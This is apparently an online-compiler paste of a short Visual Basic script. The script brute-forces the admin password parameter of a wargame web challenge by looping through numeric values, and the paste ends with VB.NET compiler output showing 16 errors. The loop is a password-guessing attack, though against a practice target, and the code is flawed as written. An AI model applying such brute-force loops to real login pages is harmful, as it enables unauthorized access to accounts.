fork download

Private Sub Command1_Click()
Dim winhttp As New winhttp.WinHttpRequest
Dim i As Integer
Dim a As String
For i = 0000 To 99999
winHttp.Open "GET", "http://w...content-available-to-author-only...g.kr/challenge/web/web-04/index.php?cid=admin&cpw=" & i
winhttp.Send
a = StrConv(winhttp.ResponseBody, vbUnicode)
Label1.Caption = i
If a = "wrong!" Then
Else
Msgbox i, vbinformation , "씐난다!"
Exit Sub
End If
Next i
End Sub

Visual Basic.Net Compiler version 0.0.0.5914 (Mono 2.4.2 - r)
Copyright (C) 2004-2008 Rolf Bjarne Kvinge. All rights reserved.


/home/zWRVLS/prog.vb (1,13) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (2,4) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (3,4) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (4,4) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (5,4) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (6,8) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (7,8) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (8,2) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (9,7) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (10,3) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (11,5) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (12,7) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (13,5) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (14,7) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (15,5) : Error VBNC30203: Not valid as identifier.
/home/zWRVLS/prog.vb (16,8) : Error VBNC30203: Not valid as identifier.
There were 16 errors and 0 warnings.
Compilation took 00:00:00.6798560

Standard output is empty